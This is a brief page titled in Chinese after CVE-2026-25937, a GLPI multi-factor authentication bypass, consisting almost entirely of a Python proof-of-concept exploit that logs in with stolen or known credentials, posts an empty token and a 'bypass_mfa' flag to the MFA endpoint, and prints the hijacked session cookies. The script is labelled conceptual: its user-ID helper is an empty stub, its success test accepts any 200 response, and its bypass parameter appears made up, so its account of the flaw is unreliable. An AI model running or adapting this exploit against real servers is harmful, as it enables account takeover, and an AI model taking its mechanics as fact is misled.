CVE-2026-25937 GLPI MFA身份验证绕过漏洞

# CVE-2026-25937 GLPI MFA Bypass PoC (Conceptual) # This PoC demonstrates the authentication bypass technique import requests import json TARGET_URL = "https://target-glpi-server.com" USERNAME = "[email protected]" PASSWORD = "user_password" def exploit_mfa_bypass(): """ GLPI MFA Bypass Exploitation Attackers with valid credentials can bypass MFA verification """ session = requests.Session() # Step 1: Initial login request login_url = f"{TARGET_URL}/front/login.php" login_data = { "user_name": USERNAME, "password": PASSWORD, "auth_method": "local" } response = session.post(login_url, data=login_data) # Step 2: Bypass MFA by manipulating the authentication flow # The vulnerability allows bypassing MFA check by using specific request patterns mfa_bypass_url = f"{TARGET_URL}/ajax/mfa.php" bypass_data = { "action": "verify", "user_id": extract_user_id(response), "token": "", # Empty or manipulated token "bypass_mfa": True # Exploiting the bypass mechanism } response = session.post(mfa_bypass_url, json=bypass_data) # Step 3: Verify successful authentication bypass if "session_token" in response.text or response.status_code == 200: print("[+] MFA Bypass Successful - Account Compromised") print(f"[+] Session Cookie: {session.cookies.get_dict()}") return True print("[-] MFA Bypass Failed") return False def extract_user_id(response): # Extract user ID from initial login response # Implementation depends on target version pass if __name__ == "__main__": print("GLPI MFA Bypass PoC - CVE-2026-25937") exploit_mfa_bypass()